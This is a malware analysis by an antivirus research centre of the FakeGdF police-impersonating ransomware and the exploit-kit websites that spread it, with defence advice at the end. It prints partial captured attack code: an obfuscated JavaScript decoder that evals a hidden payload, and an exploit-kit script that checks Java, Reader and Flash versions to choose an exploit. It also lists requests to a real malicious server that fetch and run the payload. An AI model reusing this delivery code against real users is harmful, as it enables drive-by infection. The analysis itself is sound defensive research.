15/11/2012
18:17

How to defend from Trojan.Win32.FakeGdF and his numerous versions! (FBI virus, State Police etc.)


C.R.A.M. researchers analyzed the infection vehicle of the virus and some methods to defend from this malware that managed to block tens of thousand of PCs all over the world.
For several months the malware Trojan.Win32.FakeGdF has massively spread in Italy and all over the world, with multiple varants released every day.

This kind of ransomware pretends to be a governmental institution of the country in which he spreads (e.g. Polizia, Carabinieri, Guardia di Finanza, Aisi, Siae, Bundes Polizei, FBI, Ministere de l'Interieur etc).

As stated above, this kind of malware is not an Italian phenomenon anymore but a real worldwide threat, architected by a well- organized group of virus writers that earn money on top of unfortunate users which pay the ransom.

Who's behind this fraud?

To answer this question, it's necessary to understand how the PC gets infected and how the infection spreads.
Usually, the Trojan.Win32.FakeGdF infects the PC through specifically crafted porn sites or through normal websites that have been infected by the malware.

These websites use some "Exploit Kit", such as BlackHole 2.0 or Cool Exploit Kit, to infect the pc.

"Exploit Kits" are tools that contains various exploits to a lot of vulnerabilities present in many applications such as: Windows, Internet Explorer, Java, Acrobat Reader and Adobe Flash Player.
The usage of these Kits have permitted a growing diffusion of malwares and the volume of new malwares has increased dramatically day by day.
For this reason it's important to keep softwares like Windows, Java, Acrobat Reader and Adobe Flash Player always updated to the last version (see: How can I defend myself?).

Different "Exploit Kits" are currently used to spread the FakeGdF malware.
From our analysis the malicious code downloads:

  • A PDF file that contains malicious exploits
  •  A Java archive that contains malicious exploits
  •  An executable or a DLL that contains the payload file of the Trojan.Win32.FakeGdF.

Fig. 1

  1. The user, by surfing the net, ends up being caught by an infected porn site (called bait).
  2. The bait will redirect to a website in another server called "second step" websites. These "second step" websites stay alive for less than 24h.
  3. The second step website will start communicating with the user's PC by sending Java archives/PDF containing exploits and executables/dlls containing the FakeGdF payload.
"Bait" websites are normal domains that stay alive for a long time, they have been compomised by the crackers or have been created ad hoc from this fraud's authors.
"Second step" domains last less than 24 hours, these servers contains the malware components and infection's statistics (see Trojan.Win32.FakeGdF control panel).

Fig. 2

In Fig. 2 we can see the management scheme of the websites related to the Trojan.Win32.FakeGdF, behind them there's an organisation (very likely based on east europe) that control "bait" sites and creates new "second step" domains every day (see Geolocation of "bait" sites and "second step" domains").


Fig. 3 Fig. 4

In Fig. 3 we can see the infection scheme of Trojan.Win32.FakeGdF, the "bait" site save the IP of the user, if the user have already been infected it won't redirect him to the "second step" website, else it will show the desired adult website.

TG Soft's C.R.A.M., since october 2012, is monitoring the evolution of FakeGdF ransomware:

  "/links/yesterday- feel.php" traffic analysis

The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:

GET /?__from_jsc=1&force_ref=&__usr_time=Tue%20Oct%202%2017%3A17%3A57%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it

At this point XXX redirects to YYY, which produce the following HTTP GET request:

GET /links/yesterday-feel.php

Then, YYY sens to the user's browser the following web page:

<html>
    <body>
        <applet archive="http:// [YYY]/links/yesterday-feel.php?mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp"
        code="hw">
            <param value="N0b0909041f31311a04041a441a0921193c382c0009441a00323a
                     & nbsp;    [..]
                     & nbsp;    c181c421c1a1c34082b1c27021e391c27021212390902350e3935"
            name='uid' />
        </applet>
        <script>
            g = "getElementById";
            p = parseInt;
            cc = "concat";
            ss = String.fromCharCode;
            gg = "Attribute";
            ggg = "google";

            function asd() {
                eval(s);
            }
            ddd = "ad".substr(1);
        </script>
<u id="google" d0="!4442494b46(3d42142o3o_453j3l3q2c%3h443h3f44%254b46 ....

[..]

d91="3f$3o3d43    ....

<script>
            a = document[g](ggg);
            s = "";
            for (i = 0;; i++) {
                r = a["get" + gg](ddd[cc](i));
                if (r) {
                    s = s + r;
                } else break;
            }
            a = s;
            k = "";
            a = a.replace(/[^0-9a-z]/g, k);
            s = "";
            sss = "substr";
            try {
                ("".substr + "dwvq3")()
            } catch (gdsg) {
                qa = 0x1c;
            }
            for (i = 0; i < a.length; i += 2) {
                if (020 == 0x10) s += ss(p(a[sss](i, 2), qa));
            }
            window.asd();
        </script>
    </body>

</html>


This web page contains some scripts and an applet:
<applet archive="http://[YYY]/links/yesterday-feel.php? mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp" code="hw">

 Scripts inside the page are obfuscated and produce a GET request to the site 146.185.215.244:
    GET /shrift.php
   
The IP 146.185.215.244 is located in Russia, an exploited PDF will be downloaded from this website to the user's PC.
Once the PDF document is downloaded, the Acrobat Reader plugin wil generate a download to the font.eot file.


The applet will generate this request to a JAVA file:

    GET /links/yesterday-feel.php? dtdtqil=3808083734&lizscsal=4c&iahwyeok=06090a3708050a063402&efch=0302000300020002

This request generate other GET requests to JAVA archives:
   
    GET /links/yesterday-feel.php? mkltkre=3808083734&ygv=373e&gsbc=wbg&tkbl=hdrp

Lastly, this GET request is made to YYY:

    GET /links/yesterday-feel.php? rf=3808083734&le=06090a3708050a063402&y=02&zz=t&ev=e

This final request downloads and executes "contacts.exe" , which contains Trojan.Win32.FakeGdF's payload.

 

  "/r/l/selects_backed-deliver_sources.php" traffic analysis

The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:

GET /?__from_jsc=1&force_ref=&__usr_time=Thu%20Oct%2018%2015%3A59%3A51%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it

At this point XXX redirects to YYY, which produce the following HTTP GET request:

GET /r/l/selects_backed-deliver_sources.php

Then, YYY sens to the user's browser the following web page:

<html>
   
    <head>
        <title>Battlefield</title>
        <style>
            @font-face {
                font-family:'p1';
                src:url('http://[YYY]/r/32size_font.eot');
            }
            .duqu {
                font-size:5px;
                line-height:normal;
                font-family:'p1';
                position:absolute;
                top:0px;
                left:0px;
            }
        </style>
    </head>
   
    <body onload='try{window.focus();}catch(e){}'>
        <div class='duqu'>:) </div>
        <applet archive='http:// [YYY]/r/myadv.php'
        code='b34bffesa' width='468' height='200'>
            <param name='uid' value='&#65;&#48;&#98;&#48;&#57;&#48;&#57;&#48;&#52;&#49;&#102;&#51;&#49;                                     [...]
                     & nbsp;              &#57;&#49;&#99;&#48;&#50;&#50;&#99;&#51;&#57;&#49;&#99;'/>
        </applet>
        <br>
        <br>
        <iframe src='http:// [YYY]/r/pricelist.php' width='468'
        height='468'></iframe>
    </body>

</html>


Very distinctive is the page's title: Battlefield
the "duqu" class used:
    .duqu {

and the div tag: <div class='duqu'>:)</div>

Inside the page we will find:
  • font: r/32size_font.eot
  • applet Java: r/myadv.php
  • iframe: r/pricelist.php

The first request executed is:
    GET /r/32size_font.eot

After that, the Iframe request is handled, it downloads a PDF file:
    GET /r/pricelist.php

Then, a JAVA archive is downloaded:
    GET /r/myadv.php

Finally, this GET request is made to YYY:
    GET /r/f.php?k=1&e=0&f=0

This implies the download of myfile.dll which contains Trojan.Win32.FakeGdF's payload.



"/t/l/utterly-existed-appropriate.php" traffic analysis

The infection method used by "/t/l/utterly-existed-appropriate.php" is the same to "/r/l/selects_backed-deliver_sources.php", the only thing that changes is the name of the folder from "r" to "t".
   
The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:

GET /?__from_jsc=1&force_ref=&__usr_time=Thu%20Oct%2018%2015%3A59%3A51%20UTC +0100%202012&__jsc_enable=1&__usr_lang=it

At this point XXX redirects to YYY, which produce the following HTTP GET request:

GET /r/l/selects_backed-deliver_sources.php

Then, YYY sens to the user's browser the following web page:

<html>
   
    <head>
        <title>Battlefield</title>
        <style>
            @font-face {
                font-family:'p1';
                src:url('http://[YYY]/r/32size_font.eot');
            }
            .duqu {
                font-size:5px;
                line-height:normal;
                font-family:'p1';
                position:absolute;
                top:0px;
                left:0px;
            }
        </style>
    </head>
   
    <body onload='try{window.focus();}catch(e){}'>
        <div class='duqu'>:) </div>
        <applet archive='http:// [YYY]/r/myadv.php'
        code='b34bffesa' width='468' height='200'>
            <param name='uid' value='&#65;&#48;&#98;&#48;&#57;&#48;&#57;&#48;&#52;&#49;&#102;&#51;&#49;                                     [...]
                     & nbsp;              &#57;&#49;&#99;&#48;&#50;&#50;&#99;&#51;&#57;&#49;&#99;'/>
        </applet>
        <br>
        <br>
        <iframe src='http:// [YYY]/r/pricelist.php' width='468'
        height='468'></iframe>
    </body>

</html>


Very distinctive is the page's title: Battlefield
the "duqu" class used:
    .duqu {

and the div tag: <div class='duqu'>:)</div>

Inside the page we will find:
  • font: t/32size_font.eot
  • applet Java: t/myadv.php
  • iframe: t/pricelist.php

The first request executed is:
    GET /t/32size_font.eot

After that, the Iframe request is handled, it downloads a PDF file:
    GET /t/pricelist.php

Then, a JAVA archive is downloaded:
    GET /t/myadv.php

Finally, this GET request is made to YYY:
    GET /t/f.php?k=1&e=0&f=0

This implies the download of myfile.dll which contains Trojan.Win32.FakeGdF's payload.


"Hello my friend..." page traffic analysis

Since the 13th of november, we recognized a new infection method used by FakeGdF.
The infection method is based upon the already seen "/t/l/utterly-existed- appropriate.php" page
 with a different title "Hello my friend...", and a new script that exploits more vulnerabilities.

The user gets to the infected XXX website.
XXX will send a packet to the browser containing the following GET request:

GET /?__from_jsc=1&force_ref=

At this point XXX redirects to YYY, which produce the following HTTP GET request:

GET /t/l/utterly-existed-appropriate.php

Then, YYY sens to the user's browser the following web page:

<html>
   
    <head>
        <title>Hello my friend...</title>
    </head>
   
    <body>
        <script>
            var PluginDetect = {
                version: "0.7.9",
                name: "PluginDetect",
                handler: function (c, b, a) {
                    return function () {
                     & nbsp;  c(b, a)
                    }
                },
                openTag: "<",
                isDefined: function (b) {
                    return typeof b != "undefined"
                },
                isArray: function (b) {
                    return (/array/i).test(Object.prototype.toString.call(b))
                },
               
[...]


function displayResults($) {
    var javax = ($.getVersion("Java") + ".").toString().split(".");
    if ($.isMinVersion("Java") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 7) || (javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 9))) {
        [...]

width="300" height="300"><param name="val" value="' + val1 + '"/><param name="prime" value="' + val2 + '"/></applet>';
        document.body.appendChild(d);
        setTimeout("ShowPDF()", 5509);
    } else {
        ShowPDF();
    }
};

[...]

function ShowPDF() {
    var pdf = (PluginDetect.getVersion("AdobeReader") + ".").toString().split (".");
    var vver = "";
    if (pdf[0] < 8) {
        vver = "old";
        setTimeout("FlashExploit()", 8003);
    } else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)) {

        [...]

        d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
        document.body.appendChild(d);
    [...]
}

function FlashExploit() {
    var ver = ($$.getVersion("Fl" + "ash") + ".").toString().split (".");
    if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2)))

    || ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) {
        [...]

        
        pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"
    }
} < /script>

    </body >
 < /html>

 



The php page uses the following functions:
displayResults($) check for the JAVA version inside user's PC and inject the proper exploit
ShowPDF() check for the Acrobat Reader version inside user's PC and inject the proper exploit
FlashExploit() check for the AdobeFlashPlayer version inside user's PC and inject the proper exploit

Java version:
>= 6.0.00 e < 6.0.33 Download of: file.jar and execution of PDF vulnerabilities
>= 7.0.00 e < 7.0.07 Download of: new.jar and execution of PDF vulnerabilities
< 9 Download of: file.jar and execution of  PDF vulnerabilities

If the Exploit Kit finds different JAVA version it tries to execute PDF vulnerabilities.

Adobe Reader version:
< 8 Download of the pdf: pdf_old.php
= 8 oppure pdf >= 9.0 e < 9.4 Download of the pdf: pdf_new.php and execution of the Flash exploit.
> 9.4 execution of the Flash exploit.

PDFs download and execution is accomplished through iframes.


 Adobe Flash Player version:
If Adobe Flash Player major version is 10 the Exploit Kit starts checking for the minor version:
> 10.0.40 Download of the file: field.swf
>= 10.1 e < 10.2
< 10.2.159
< 10.2
<= 10.3.181.23 Download of the: flash.swf
< 10.3.181


  In our internal test the script have executed the following requests:

The first request:
    GET /t/media/new.jar

Involves the execution of JAVA exploits.

After that, the following request has been executed to YYY:

    GET /t/f.php?k=2&e=0&f=0

This brings the download of myfile.dll  which contains Trojan.Win32.FakeGdF's payload.

In this FakeGdF new version we have noticed these components:

 File name
 Size (byte)
 MD5
 new.jar  10387  2f5b3dd45bdb8a9c5cc5647e94257d36
 file.jar  30567  fa010d71e4cfabea3bb69fb99caa0cfe
 pdf_new.php  14532  4531f0b0fc2c314ea82c2f847e36bfb0
 pdf_old.php  27279  94369d327ecbf249fe14c48fab3ac70c
 score.swf  5969  8ee6d435e5bb423671bd03728745bd0b
 getJavaInfo.jar  587  fad89bdfdce9322767944f0e1f15a009
 field.swf  1045  cee585aab7e27d917f57cb6ecadf39d4
 flash.swf  2850  5b0a54f611677389607ea2a9e3b0ef10


How can I defend myself

It's necessary to keep these softwares up to date:
Software Descrizione
VirIT eXplorer Update the antivirus daily with the last virus definitions available.

Professional version can grant you web navigation protection with the "Web Filter Protection" module that permits safe browsing with every Browser: Internet Explorer, Firefox, Chrome, Safari, Opera, etc.

Lite (free) version has a safe browsing addon for Internet Explorer only.
Windows Launch Windows Update and check for updates.
If it is disabled then enable it and search for updates. If it asks to restart the PC, do it and then try to check wether all the updates have been downloaded and installed correctly.
Java Check Java version from the "Programs and features" section of the Control Panel.
Last Java version, at the time this document is being written, is version 7 update 9.
If your version is older than 7 update 9 then it's strongly recommended to uninstall it and download the last version from http://java.com.
Acrobat Reader The last version is 11.0
It is possible to download and install the last version from: http://get.adobe.com/it/reader/
Adobe Flash Player The last version is 11.5.502.110
It is possible to download and install the last version from:  http://get.adobe.com/it/flashplayer/

 


Geolocation of "bait" and "second step" websites

We've conveniently represented on Google Earth the geolocation of ISPs related to "bait" and "second step" websites used by the creators of the ransomware Trojan.Win32.FakeGdF.
 

In the figure we can see the geolocation of web domains used by the malware Trojan.Win32.FakeGdF. These are spread mainly in Europe: Russia, Hollande, Germany and England.
ISPs of "bait" sites are marked with a red pin.

ISPs of "second step" sites are marked with a yellow pin.

Very common are Russian ISPs, such as:
  • Petersburg Internet Network ltd. (San Pietroburgo)
  • AWAX Telecom Ltd. (Mosca)
  • Digital Networks CJSC (Mosca)
  • Reg.Ru Hosting (Mosca)


Trojan.Win32.FakeGdF Control Panel

 Every "second step" website have a control panel to check infection statistics.


As you can see from the figure, the control panel is written in cirillic characters and it is divided in sections based upon the browser and the country.
At the moment of the analysis there are no infections statistics on this "second step" website.



Analysis written by Engineer Gianfranco Tonello
C.R.A.M. Centro Ricerche Anti Malware
by TG Soft


Articles related to Trojan.Win32.FakeGdF:
Any information published on our site may be used and published on other websites, blogs, forums, facebook and/or in any other form both in paper and electronic form as long as the source is always and in any case cited explicitly “Source: CRAM by TG Soft www.tgsoft.it” with a clickable link to the original information and / or web page from which textual content, ideas and / or images have been extrapolated.
It will be appreciated in case of use of the information of C.R.A.M. by TG Soft www.tgsoft.it in the report of summary articles the following acknowledgment/thanks “Thanks to Anti-Malware Research Center C.R.A.M. by TG Soft of which we point out the direct link to the original information: [direct clickable link]”

Vir.IT eXplorer PRO is certified by the biggest international organisation: